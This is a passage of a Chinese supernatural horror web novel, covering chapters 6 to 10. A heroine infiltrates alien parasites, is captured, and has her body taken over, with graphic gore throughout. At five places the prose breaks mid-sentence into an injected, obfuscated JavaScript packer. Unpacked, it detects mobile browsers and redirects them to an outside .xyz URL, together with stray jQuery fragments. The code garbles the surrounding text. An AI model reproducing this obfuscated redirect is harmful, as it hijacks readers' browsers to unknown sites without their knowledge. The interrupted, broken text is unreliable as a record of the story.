剩下的污染物们也猛然转头,将怀疑的目光落在了齐心身上。 就像地球上的人类也不乏“反人类主义”一样,罗浮不相信这些生物就真的全都那么团结一心。说不定在它们中,就真有反对入侵地球的呢? 她冷静地看着齐心,意味深长道:“还有,刚才附和她的那两个——谁知道都是些什么心思呢!” 挑拨离间。 这是人类惯用的招数之一,偏偏从古至今都好用极了。 罗浮从没发现原来自己忽悠人的功力竟然这么好。或许等灾难结束,她可以去竞选漂亮国总统呢? 齐心的心态显然不如罗浮,此刻竟下意识退后一步,想要利用自己前后两张面孔来自证蜕形种的身份,可偏偏罗浮根本没诬蔑她是人类! 她一时百口莫辩,只能无力地说:“我不是……我怎么会帮人类?她胡说八道,她就是想让我们内斗!你们别被她骗了,她就是个人类!” “你不是叛徒的话,为什么慌成这样?”罗浮补刀:“你看,就算你说我是人类,我也一点儿都不慌。更何况,难道在场的蜕形种都是蠢货吗——如果这里有一个人类,他们会分辨不出来?如此低劣的谎言,能骗得过谁?” 说是这么说,实际上她也已经差不多到极限了。 ……必须尽快套出有关母体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679006|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信息,赶紧离开这个是非之地才行。 此时大部分污染物都偏向于相信罗浮了。 它们凶相毕露,将齐心和那两个帮过腔的污染物围在中央,大战一触即发。 可罗浮知道自己已经撑不了多久了,她不能让它们这么僵持下去,也没时间让它们打一架。 她呼出口气,沉声道:“好了。我们不要为了这件事而忽略真正重要的事情。人类都是非常狡诈的东西,我们在这里耽搁得越久,就越容易发生变故。” 那件“重要的事情”对污染物来说似乎非常要紧,听完她的话之后竟全都收起了战斗姿态。 长着触手的污染物再次发言:“我来盯着它们三个,你们继续执行任务,至于‘那个家伙’的同伴……计划显然已经失败了,暂时作罢。” - 罗浮夹在四只臭烘烘的污染物之间,已经在小区里走了几分钟了。 虽然她的“一句话故事”并没有提到作用时间能维持多久,但目前看来似乎没有露馅的迹象。 她的身体正在缓慢恢复,再加上污染物们分成了几只队伍,即便身边这四个突然清醒过来,想必她也能再应付一会儿。 总之现在,要尽可能从污染物嘴里套些线索出来。 罗浮想了想,问了句最合理的话:“你们知道‘那里’现在有多少人类吗?有人拥有特殊能力吗?如果有的话……‘那里’会不会出意外?” 因为之前齐心问过她有没有“特殊能力”,所以她想污染物们应该都是这么称呼的。 离她最近的污染物一边发出“叽咕”声一边说:“没有特殊能力者,‘那个家伙’倒是在那里。我们快要经过了,可以去确认一……” “咔哒——” 一个小石块从斜后方废墟堆上滚落下来,罗浮和污染物们瞬间回头望去。 偏偏这个时候出意外! 罗浮心里冒出一股火气,对远处那道明显是人类的身影狠瞪了一眼。 虽然看不太清,但能看出来那是一个身材壮硕如虎的男人。 他动作僵硬地立在那里,似乎对自己犯下这愚蠢的错误无语至极。 6. 终于去了“那里” 四只污染物对于罗浮来说还算可以应付,可显然对这个男人而言是非常棘手的大麻烦。 当罗浮和污染物们将那片废墟围住、令其无路可逃后,他竟举起双手,当场选择了投降。 一只眼球堪比石榴大小的污染物命令他:“立刻下来。” 男人慢慢滑下,落地还未站稳就被包围了。 他灰头土脸的扫过一众污染物,目光落到罗浮身上时,疑惑地张了张嘴想说什么,却被罗浮率先出声打断:“这个人类看上去很狡诈,被我们找到的方式也很奇怪,最好先绑起来。” 男人到了喉咙口的那句“你不是人类吗怎么跟这种东西在一起”便被堵在了喉咙里。 他想:原来只是伪装出人类模样的怪物啊。 与此同时,一只满头长发的污染物操控着一缕黑发,如同数百只细长的铁线虫般游动到男人身上,将其结结实实捆成了只“茧”,连眼睛和嘴巴都被裹住了,只留下鼻孔呼吸,以及两条腿走路。 不论如何,接下来总该去“那里”了吧? 罗浮泰然自若地上前一步,一脚踹在那男人屁股上,冷声道:“往前走,别想耍花样!” - ……原来长安里的房子并不是全都垮塌了。 罗浮跟在污染物身后,艰难地穿行在大量碎石之间,好一会儿后,终于远远看见了一间被大量水泥块藏在下面的屋子。 说是“一间”并不准确,它左侧也塌了一半,但周围堆满了坍塌物,倒让它又形成了一个完整的封闭空间。 不过本该是成套的房子,也就只剩下这么大半间了。 仅仅十几秒的功夫……人类的住所便成了一片腐朽的残骸。 罗浮心里不自主的涌起一阵悲凉感,被她快速压下。 又往前走了走,终于看见了那间屋子的入口——是墙上破开的一道豁口。 原本应该也被碎石挡住了,污染物们清理出了一条小路。 最前方押送男人的污染物停在入口处,庞大的身躯令它无法挤进那道豁口,只好侧身让其他同伴来。 四只污染物互相看看彼此,最后理所当然地将目光落在了最矮小的罗浮身上。 罗浮乐意之至,心里都快笑开花了,脸上还得一本正经。 她走到前方,模仿电视剧里的恶霸——又踹了男人一脚:“滚进去!” 男人一个趔趄,即使再不情愿,也被迫跌跌撞撞地倒了进去。 罗浮紧随而入。 屋子里很黑,弥漫着浓重的血腥气和令人作呕的臭味。 她装作若无其事地朝里走了几步,在鼻尖触碰到某种冰凉滑腻的东西的同时,双眼终于适应了光线。 尽管早有心理准备,她还是被吓了一大跳—— 一双恐怖的白眼珠就在她双眼前方,在几乎快要贴上的距离下咕噜噜地转动着! 罗浮后背瞬间爬起一层鸡皮疙瘩,一声猝不及防的尖叫已经到了喉咙口,又被她生生压了下去。 她“咕咚”一声咽下口水,强迫自己不要有任何多余动作,侧身抓起地上的男人,冷声道:“起来,往里走!” 与此同时,她快速扫视一周,在看清屋内情形时瞬间头皮发麻。 ……应该有二十多个人吧? 二十多个被剥光皮肤、剖开内脏的人类被倒悬在天花板上,像极了屠宰场里的死猪。 可这些人并没有死——他们甚至全部转动着白森森的眼珠子,死死盯着罗浮。 这种反应很不正常:如果他们还是人类,就算到了如此地步也会努力叫“救命”才对,而不是用这种不怀好意的眼神盯着她。 难道是……正在被同化中的污染物? 外面那些是“完成体”,里面这些算是正在孵化的“幼体”? 她没功夫多想,尽力保持镇定,揪着男人背后的“发丝”,面无表情地踩踏着地上的内脏和肠子,在人们痛苦的呻/吟中一步步向里走去。 地面充斥着粘腻的血液和内脏,让人扫一眼就几欲作呕。 罗浮喉咙里立刻冒起一股酸水,愣是被她给吞了回去。 终于,她看见了封玉。 罗浮微微松了口气——他被倒吊在屋内最偏僻的墙角处,虽然昏迷着,但至少没被剥光皮肤,只是半边脸和脖子看上去血淋淋的,应该是受了重伤。 罗浮飞快瞥了一眼入口,只看见一道宽厚高大的污染物背影。它们似乎很信任她这位“同伴”,只是站在外面等她出去而已。 她收回视线,压低声音对身边的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679007|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说:“别出声,听我说。” 男人明显僵了一下,随后微微点头。 罗浮凑近:“你能看见勾魂使。” 用出“一句话故事”的瞬间,她双腿一软,若不是还拉着旁边的男人,只怕都已经倒进了地上的血泊里。 之前消耗的能量还没有完全恢复,这次之后更是雪上加霜,每一次呼吸时都带得胸腔火辣辣地痛。 她搭在男人后背的手无法控制地发着抖,强撑着快速说完:“我会让那东西收回你身上的头发,等我把污染物引开后……作为交换,你带着我的朋友逃走,听明白了吗?” 男人嘴巴和眼睛还被“头发”缚着,只能点点头。 罗浮又瞥了一眼入口处,抬起两条颤巍巍的腿小心翼翼走到角落,第一次唤出储物空间里的长刀,尽量无声地割断了封玉双脚的绳子。 费力地将人靠在墙边后,她收起长刀对外面大喊:“把他放开吧,我已经绑好了!” 二人在角落里,被屋内倒吊的血人们挡住了,再加上光线极差,外面的污染物是看不见的。 几秒之后,那些细密的头发簌簌流动,迅速回到了它们的主人身上。 男人终于看见了屋内的情形,吓得脸色惨白,猛吸了一大口气。 但好歹算个有脑子的,及时闭了嘴没出声。 罗浮指着昏迷的封玉,低声确认:“能看见吧?一会儿带他逃。” 男人点点头,目光古怪地盯着她审视半晌,面露犹疑。 过了好一会儿,他压低声音说:“其实我是来探路的,还有队友在附近,我们都是异能者。我知道你也是异能者,否则不可能被它们当成同类看待。所以……加入我们,一起杀光这些恶心的东西吧!” 罗浮闻言有些意外,但这会儿不是说这个的时候。她在里面待了太久,只怕那些污染物会生疑。 她快速说道:“稍后十一栋附近见。” 话音未落,便拖着两条仿佛不属于自己的腿挪了出去。 可就在她快走到入口处的时候,外面的一只污染物循声回头,惊愕至极地盯着她道:“……人类?你是从哪儿冒出来的人类?!” 罗浮一惊,随即恍然大悟——原来她的能力……只能作用在“最新的故事”上。 7. 它就要归我了 “滴答——” 又一滴鲜血顺着额角落在地上,罗浮睁开眼,因被倒吊着而充血的脑袋晕晕沉沉的。花了好一会儿功夫,她才意识到自己的身体各处都在传来火辣辣的疼。 努力弯下脖子去瞧,首先看见的就是自己那双被绳子高高挂在天花板上的脚。 ……原本白皙完好的脚上大约三分之一皮肤消失了,露出东一块西一块的血肉,仿佛被飞溅的硫酸砸中了似的。 至于身体,虽然到处都疼得厉害,可由于还穿着一套厚实的珊瑚绒睡衣,只能看见浸出的大片血迹。 脸颊也疼。 罗浮向旁边倒吊的血人瞥了一眼:原来这些人类不是被剥了皮,而是像她现在这样一点点被腐蚀掉的。 可他们肚皮都被开了一条长长的豁口,内脏肠子流得到处都是。 那她自己呢? 不知是不是心理作用,当罗浮想到这里的时候,就感觉腹部似乎比其他地方疼得更厉害,仿佛有一把无形的刀正在慢慢切割着那里的血肉。 ……希望那个男人赶快带着他的队友赶过来。 十分钟前,当污染物发现了罗浮这个可疑的人类,试图挤进屋子来将她抓住时,男人使用了他的能力。 【影子戏法】 偶尔从你的眼角边一闪而过的黑影,究竟是你眼花了,还是不小心窥视到了某种神秘的存在?当你定睛看去时,它又是如何在转瞬间消失无踪的? 使用能力后,可暂时将自己化作一道行动速度奇快的黑影。 由于这屋内本来就十分昏暗,当他化作一道黑影、趴在墙角将封玉挡在身下后,这一小块区域便与周围的黑暗巧妙地融为了一体。 趁着污染物们被罗浮彻底吸引注意的时候,男人扛起封玉,利用鬼魅般的速度一闪而出。 能力使用过度的罗浮被污染物逼退到墙角,无可奈何地举起软绵绵的双手:“我投降。” 于是她就这么被倒吊在了一群血人之间。 随后三只污染物追了出去,留下了一只在这里盯着她。 此刻,那只满头长发的污染物就静静立在屋子中央,看上去像是在盯着罗浮,但浓密的头发彻底挡住了它的脸,让人什么都看不见。 不过……这地方实在很奇怪啊。 罗浮还有闲心思考:明明只是被吊在这里,没有任何东西来攻击自己,怎么她的皮肤就被慢慢腐蚀掉了? 是这间屋子有问题,还是这附近的空气含有更浓郁的污染源? 她对“污染物”的了解实在是太少了,很难猜出个究竟。 好在身体正在缓慢恢复,虽然到处都是伤,却感觉比十分钟前有精神了些。 再等十分钟——如果那个男人没回来,就拼着一死再用一次能力好了。 罗浮苦中作乐地想:哪怕是垂死挣扎,也比不挣扎要好。 “咯嗒。” 入口外,一道石子被踩踏的轻响声在寂静的环境下显得尤其突兀。 罗浮与屋内的长发污染物同时将目光投向那边,看见一道熟悉的身影跨过那道豁口,慢悠悠走了进来。 事情果然不会按预想的那样顺利发展——来人是“齐心”。 之前罗浮费尽口舌将对方诬蔑成了“蜕形者中的叛徒”,如今真相大白,齐心怎么可能不来找她算账? 不过基于“污染物的第一选择永远是同化人类而非杀死他们”的原则,这屋内还有只污染物守着,齐心再厌恶她也顶多就是折磨一顿,不至于把她给杀了……吧? 罗浮心里没底。 她眼看着齐心顶着后脑勺上那张中年女性的脸,阴沉沉地走到她面前,居高临下地蔑视着她。 长发污染物也走了过来,喉咙里翻滚着“咕咚咕咚”的气泡声:“我们需要人类……不要乱来。” 齐心双眼死盯着罗浮失去了半边皮肤的脸,冷声道:“我需要进食。” “可以选别的。” 长发污染物上前一步,隐隐挡在了二者之间:“她是特殊能力者,不能当作食物来浪费。” ……意思是它们不仅需要用人类的身体作为“登陆地球”的载体,还要把人类当成食物? 特殊能力者不能当食物浪费——难道是异能者的身体被蜕形者寄生后能发挥更强大的力量? 罗浮思绪一顿,有些佩服自己:居然在这种情况下还有心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679008|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想这些有的没的。 浓黑的颜色从齐心双眼中心扩散,转瞬间填满眼眶:“我只要这一只,你知道的,她陷害了我。” 长发污染物顿了顿,不知是默许了还是被她这副“不行就先打一架”的样子吓到,后退了几步露出了他身后倒悬的罗浮。 齐心嘴角一咧绽开嗜血的笑,右手五指张开,不轻不重地捂上了罗浮的脸。 几乎同一时间,罗浮便感到一股拉扯力正在缓缓增强,仿佛要慢慢将她的脸给整张扯下来! 她甚至感觉到脸颊边缘处的皮肤很快被撕下了一部分,但血管还粘连在血肉上,痛感从剧烈很快过度到了麻木。 “这张脸啊,我可是早就看上了。” 齐心的脖子“咯咯”转动一圈,露出了那张年轻的女孩面孔。她清脆地发出令人恶心的笑声:“嘻嘻,现在它就要归我了……” 果然……不论什么时候,都绝对不能把希望放在别人身上。 罗浮咬咬牙,从牙缝中痛苦地挤出一句话:“你们……都是人类。” “嗡——” 话音落下的一瞬间,她听见自己脑子里发出一声绵长的回响。 这道炸雷般的动静屏蔽了她的所有意识,令她仿佛被抽空了似的完全无法思考。 下一刻,“噗”的吐出一大口鲜血。 哪怕罗浮用尽全力,还是没能阻止自己合上眼睛。 - ……好像在一片大海中沉浮,没有支点的身体飘来荡去,忽然间,海水干涸,身体不受控制地掉落下去,竟砸在软绵绵的大地上。 罗浮恍惚睁眼,在看清周围环境时,第一个念头是“原来这就是地狱的样子啊”。 四周和地面全由猩红的不明物质构成,软绵绵的,带着粘稠的水迹,还时不时“咕噜”起伏一下,看着像有生命的……肉巢。 她艰难地双手撑“地”想要爬起来,却在触及“地面”的瞬间头皮发麻。 这是一种无法形容的感受。 明明只是一片不够吓人的“红肉”,罗浮却仿佛触摸到了这世上最恐怖、最邪恶的东西,甚至令她产生了“想要拿刀将这双碰过它的手给砍掉”的冲动! 8. 血色肉巢 好不容易才勉强站直了身子,罗浮终于能够仔细观察附近的情况了。 这是一个完全被封闭起来的空间,大约十平米左右,目之所及处统统是鲜红的肉壁,上面有数十个内陷下去的孔洞。 那些肉.洞周围是呈放射性的褶皱,说句不太好听的……就像肉壁上长了密密麻麻的、脸盆大小的肛.门。 ……恶心。 罗浮收回视线,低头检查自己。 她依然赤着双脚踩在绵软粘腻的“肉”上,脚背坑坑洼洼布满了皮肤被腐蚀后留下的伤。 睡衣上但凡是浅色的部分都染上了血色,即使不拉开衣服去看,罗浮也能想象到此刻这副身躯究竟是如何的千疮百孔。 但她似乎已经被从头到脚的持续性疼痛搞得有些麻木了,反倒不觉得有多难受。 更何况,现在的她也没有条件去处理这些伤。 罗浮四下望了望,蹙眉暗想:她当时说完那句话就晕过去了,按理说应该还被倒吊在屋子里才对。难道是那句话令两只污染物“变成人”,把她给救出去了? 可这地方……怎么看都不像是属于地球的区域。 心里的疑问太多,她摇摇头不再深想,唤出长刀慢慢走向了距离最近的一面肉壁。 停在一个皱巴巴的洞前,罗浮才发现原来它们还会有一下没一下地微微蠕动。 更恶心了啊!感觉里面随时都要喷出大便来啊! 她不由后退了几步,再次举目四望——可除了这些洞外,肉壁上连一丝儿缝隙都没有。 想要从这鬼地方出去,似乎只能先探查它们。 罗浮吸了口气,直直举起长刀,试探着将刀尖缓缓刺入肉.洞之中。 “叽咕——” 一道滑腻低沉的声音从里面传来,惊得她连忙抽出长刀,发现刀尖处居然沾上了鲜血。 “咕咚”一声低响,附近的肉壁忽然起伏了一下,就像是感觉到疼痛后做出了反应。 ……看来洞的那一头不是出口。 罗浮垂眸盯着刀尖的鲜血,许多念头在脑子里迅速闪过,最后长刀一斩,“刺啦”一声重重划在了肉壁上。 滑腻粘稠的红肉顿时裂开一条大口,可从中流出来的却是粉白相间、形如脑花的不明胶状物质。 ——这就对了。 肉壁没有流血,那么洞里的血,当然就不是属于它的了! 罗浮收回长刀,扫了眼自己几乎只剩下一半皮肤的、血淋淋的左手,毅然决然地探进了洞口里去。 粘腻湿滑的液体瞬间包裹住了她的整条手臂,恶心得她立刻就想抽出手来。 但指尖很快就碰到了一股阻力,罗浮尽可能抓住着力点,猛地用力向外一扯! “咕嘟——” 那东西从洞里被拉了出来,落在软绵绵的地上几乎没发出什么动静。 罗浮没来得及去看自己拉出来的东西,第一时间在衣服上猛蹭左手。 可半秒之后,她动作忽然僵住,不可置信地回忆着眼尾余光扫到的那片轮廓。 她慢慢转头,视线终于落到了“那件东西”上。 ……那是一个,罗浮。 一模一样的酒红色卷发、同款珊瑚绒黑猫睡衣上连右胸前的破洞都别无二致。更别提那张苍白的面孔和千疮百孔的皮肤。 虽然这里没有镜子,但罗浮却看见了自己的模样:右边脸颊的皮肤几乎被腐蚀完了,只有拇指那么大的一小块顽强地黏在那里。 至于左边……由于之前齐心想剥走她的脸,在那股奇异的力量下,左侧下颌位置的皮肤像一张纸似的微微卷翘了起来。 “这是什么……情况?” 罗浮发出的声音颤巍巍地飘荡在血红色的肉巢里,自然得不到半点回应。 不知过了多久,她终于鼓起勇气,动作僵硬地蹲在“自己”身边,伸手碰了碰“她”的脸。 这是一种极度吊诡的触感,如果非要找个词来形容的话,那就是——“没有”。 明明手指正碰着一块皮肤,却好像只是悬空放在一片空气里。 这种感觉让罗浮误以为眼前的“自己”是她产生了幻想,手指向前探了探,却又产生了阻力。 仿佛有一片透明的薄膜阻止了她继续向前触碰——但实际上在那里的是一具“人体”。 也幸好是有这股阻力的存在,才让她在洞里感觉到了“有东西”并将其拉出来。 这个诡异怪诞的事情还没弄明白,紧接着另一个念头又在罗浮脑子里肆意生长: 这只是她随意选的一个洞,那其他的洞里……难不成全都是“她”? - 说不上是勇气十足还是破罐子破摔。 十分钟以后,罗浮站在中央特意空出来的区域,喘着粗气茫然四顾——大约十平方的肉巢里已经摆满了一模一样的“罗浮”。 从最初的震惊、慌乱,到后来的从容、麻木,最后一个“她”被拖出来时,她甚至没来由地笑了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679009|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今,除了她本人以外,这里共计28个躺在地上的“罗浮”。 每个都一模一样。哪怕是皮肤被腐蚀出的参差不齐的边缘,也分毫不差。 由于触感奇怪,她看不出她们究竟是死了还是在昏睡。 罗浮重重呼出一口气,似乎下意识想驱赶这寂静诡异的氛围,自言自语地出声道:“全都一模一样的话……如果我在身上制造出点儿别的什么呢?” 话音未落,她唤出长刀,抓起左侧脸颊旁的一缕长发,自下巴位置将其割下。 酒红色的卷发悄无声息地落在地上,罗浮低头看去,正好看见脚边的那个“她”在同样的位置断了一缕头发。 一眼扫过,整整28个“罗浮”都在同一时间出现了完全一致的变化。 罗浮喉头一滚,眼中又添了几分迷茫。 她突然意识到一件事——在这个完全封闭的肉巢里,从始至终都没有光线来源,她为什么……不仅能看见,而且连“28个人掉了一缕头发”这样的事情也看得这么清楚? 精神污染。 这四个字在罗浮脑海中清晰地冒出了头。 ……在昏迷之前她本来就处于污染源极其浓郁的地方,再加上身上的伤和能力使用过度的副作用,被污染的几率只怕早就高到了前所未有的程度。 那么如今,她究竟是在[思维清晰地思考],还是[自认为很清晰]? 毕竟眼前的景象,无论换谁来看都称不上“正常”。 “罗浮!罗浮!你醒醒啊!” 一道仿佛蒙着塑料袋传出来的声音忽然响起。 罗浮猛然抬头,却分辨不出一个准确的方向。 “卧槽,你可别死啊,你是我招的第一个人啊!” 那声音有些急躁,虽然听起来变了声调,但罗浮马上确定了他就是封玉。 她终于看见了一丝希望,连忙仰头大喊:“我在这里,我没死!封玉,你听见了吗?!” “罗浮!罗浮——”封玉还在喊,显然没有听见她的声音。 罗浮瞬间泄了气,正着急时,肉巢内忽然地震般地晃动起来。 地面全是滑腻的液体,她一个不稳,重重砸在了一具“罗浮”的身体上。 下一秒,血红色的肉巢里,骤然传来刺眼的亮光。 罗浮甚至忘了起身,趴在那具身体上飞快地回头望去—— 一双几乎有卧室那么大的眼珠,正在那道从肉壁上发出的亮光里,死死盯着她。 9. 一定有办法的 那双巨大的眼睛渐渐眯起一个微笑的弧度,属于封玉的声音再度响起:“罗浮,你醒了?” 罗浮愣了至少三秒才发觉这双眼睛十分眼熟——正是封玉的。 她有些反应不过来,迷茫地哑声问道:“你、你怎么比我大那么多?” 话音未落,却有另一道沙哑的女声猝然传来:“嘶……好疼。” 短短三个字,却让罗浮如遭雷击。 那分明——就是她自己的声音! 下一秒,肉巢内再度“地震”,那片光幕外的景象也跟着颠簸起来。 当封玉被放大许多倍的笑脸完整地出现在光幕里时,罗浮终于弄明白了自己眼下的处境。 ……她的确早就遭到了精神感染。 某个“蜕形种”已经接管了她的身体,并将她的意识全部关在了这个“肉巢”空间里。 准确来说,这地方包括她本人在内的29个“罗浮”全都是“意识力”,而那28道意识已经全部陷入沉睡。 如今还醒着的她,就是“罗浮残存的最后一道清醒的意识力”。 若此时连她也沉睡过去……后果可想而知。 “后来发生了什么?” 罗浮听见那个蜕形种用自己的声音虚弱地向封玉说:“我只记得我用出能力之后就昏迷过去了。” ——它似乎可以继承身体主人的记忆,并且打算暂时伪装成“罗浮”。 那片光幕大约就是眼睛看到的画面,在罗浮看来像极了一个超大的电影屏幕,而她就是屏幕前对一切故事剧情都无能为力的观众。 此刻画面里正传来另一道男人略带歉意的声音:“这都怪我去得太迟了。” 与此同时,画面向左一转,定在了那个壮硕男人的身上。 对方不好意思的笑了一下,挠着头说:“我叫刘杰。当时我带着封玉逃去我队友那里之后,第一时间就叫他们跟我去救你了——可途中我们遇上了几只污染物,被拦住了好一会儿才四散脱身。 “等我赶到那屋子的时候,刚好遇见两只污染物从里面出来,其中一个……啊,就是之前用‘头发’捆住我的那个,它竟然背着你,身边还有个前后各有一张脸的女人。” 刘杰似乎至今心有余悸,回忆起来时满脸的后怕:“我当时吓得连呼吸都忘了……” 没想到,那个女人却对他喊:“你这人不要命了吗,这里全是污染物,还不快跑!” 刘杰反应很快,想起之前罗浮混在污染物里的事情,猜到是她用了某种能力控制这两个家伙,当即顺水推舟的说:“有污染物正在过来,我力气大,我来背她,赶紧走!” 顺利把人接过来之后,他使用【影子戏法】,以最快速度逃离,回到了这个暂时安全的据点。 由于封玉已经说服刘杰成为净化者,签订了灵魂契约,所以在罗浮的“故事”失效后,刘杰依然能看得见他。 只不过他来时只准备了一份净化者的专属用具给罗浮,只能等到离开这片污染区后再补给刘杰。 至于刘杰的队友们,虽然看不见封玉,但已经通过传话得知了净化污染区的方式,这会儿正在外面搜集信息,寻找母体的踪迹。 “封玉已经都告诉我了,那些恶心丑陋的玩意儿居然想侵占地球!” 刘杰愤愤道:“我们人类可不是那么好欺负的,老子总有一天要让它们屁滚尿流地逃回老家去!” “……一定会有那天的。”“罗浮”虚弱地应和了一句。 封玉起身道:“既然你已经醒了,应该暂时不会有大碍,先待在这里好好休息一会儿,我和刘杰也去找母体。” 话落,刘杰也跟着站了起来。 “等等。” “罗浮”叫住二人,喘了两口气才说道:“我之前已经有一点儿发现了——西南方向大约是七单元那边,建筑物后面靠近小区围墙那里……有一个类似巢穴的东西,但我没来得及去细看,你们去检查一下吧。” 这只蜕形种扮演得惟妙惟肖,说话时带着无比羸弱的气息,恐怕就连经验丰富的老刑警也看不出这个人已经换了芯子。 更何况,她面前只有两个刚认识、互不了解的人。 罗浮站在“肉巢”内,几近绝望地看着封玉和刘杰毫不迟疑地答应了“她”。 ……用脚趾头都能想得到,那个地方不会有什么母体的线索,只会有一群等待已久的污染物。 罗浮声音喊得沙哑、牙根咬得发疼,也完全无法阻止二人的转身离去。 她急躁却又无可奈何地走了几步,差点儿踩到一个意识体的手掌。 怎么办?被困在这里难道真的就只能等着慢慢消亡?封玉、刘杰和那些尚未谋面的异能者,也会因“她”而全军覆没? 冷静,冷静!一定有办法的。 罗浮深吸了几口气,努力让纷乱的心绪平静下来,低头看了看满地昏睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679010|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意识体——她们都没有死,毕竟意识的“死亡”就等于消失,不会留下尸体。 那么……身体还没有变异、意识也没消失,甚至还有她这一道清醒的,说不定还能夺回身体的控制权。 问题是,怎么才能夺回? 她按了按眉心,原地坐下来闭上眼,不断地重复回忆着从醒来后发生的一切。 大约三分钟后,罗浮忽地睁开眼,右手虚空一握唤出长刀,目光落在刀尖那抹猩红的鲜血上。 三个问题: 第一,她作为一个意识体竟然还能使用储物空间召唤武器?那么这个武器会是“实体”吗? 第二,之前为了探查那些洞里的情况,她用刀插.进去试了试,结果带出来了一些血迹。也就是说,这把刀当时是伤到了那个意识体的。 可意识体……会流血吗? 第三,她割下一缕头发时,所有意识体都出现了相同的情况,可刀伤到了第一个意识体后——她却没有受伤。 综上,一个大胆的猜测在脑海中喷薄欲出。 罗浮慢慢站起身,抬头望向那道光幕中的画面。 - 长安里污染区内,刘杰已经带着封玉来到了罗浮所说的地方。 原来的七单元居民楼如今已成废墟,高高堆砌的水泥石块在暗夜里如同一张狰狞的兽面,正不怀好意地注视着这两个渺小的生物。 刘杰张望了一下,指向左侧:“她说是在靠近围墙的地方,也就楼体背面……从那边应该比较好过去。” 封玉手里握着一把漆黑的长刀,谨慎道:“小心点,一旦有危险优先保命,千万别硬来。” 绕过乱糟糟的碎石,二人一前一后走向那片更加黑暗的区域。 刘杰低低的说:“不过她居然知道这里是西南方向,还真是厉害……” 封玉顿了一下,回头问:“你说什么?” “啊,”刘杰抬头,“我们一向都说前后左右的,反正我是从小就分不清什么东南西北,她居然……” “不对!”封玉脸色大变:“快跑!” 可惜,已经晚了。 原本以为是残垣断壁投出的漆黑暗影,竟一个个“活”了起来,早已成包围之势,将二人团团围住。 此刻,一道身影流星般闪过,在离二人不到五米的位置站定。 封玉清楚地看着“罗浮”熟悉的脸上,露出一道阴寒至极的狞笑。 10. 能力进化 黑夜仿佛永无止境般笼罩着这片千疮百孔的小区。 一道道不可名状的黑影渐渐收拢,自阴影中露出了它们令人作呕的形容。 封玉与刘杰背靠背站在风暴中心,被强烈的危机感压得连呼吸声都格外沉重。 “……你不是能瞬移吗?快带我走啊。”刘杰偏着脑袋,用极低的气声在封玉耳边说道。 封玉苦笑着冲左侧的一只污染物抬了抬下巴:“看见那只了么?它偏偏就有制造‘结界’的能力,我根本离不开这个界限——否则你以为我之前是怎么被抓住的?” 其实勾魂使的战斗力并不强,污染物出现在地球之前他们的工作只是负责引渡人间的亡魂,几乎不需要战斗。 如今天下大乱,他们与人类共存亡,才不得不赶鸭子上架。 刘杰听完一阵沉默,好一会儿才问出一句:“那我的能力岂不是也……” 怎么偏偏这么倒霉,他们俩的能力居然都被同一只污染物给限制了?! “拼一把吧。”封玉咬牙切齿地说:“只要弄死那只东西,结界自然就没了,其他污染物困不住我们。” 眼下也没别的办法了。 “你们人类可真是粗鲁呐……” 一直站在二人前方的“罗浮”将他们刻意压低的谈话声听得清清楚楚,笑吟吟地感慨道:“动不动就打打杀杀的,真是凶残极了。” 话音未落,她的手指却慢悠悠向二人点了点,温声道:“杀了他们。” 刹那间,将近二十只污染物同时动了起来。 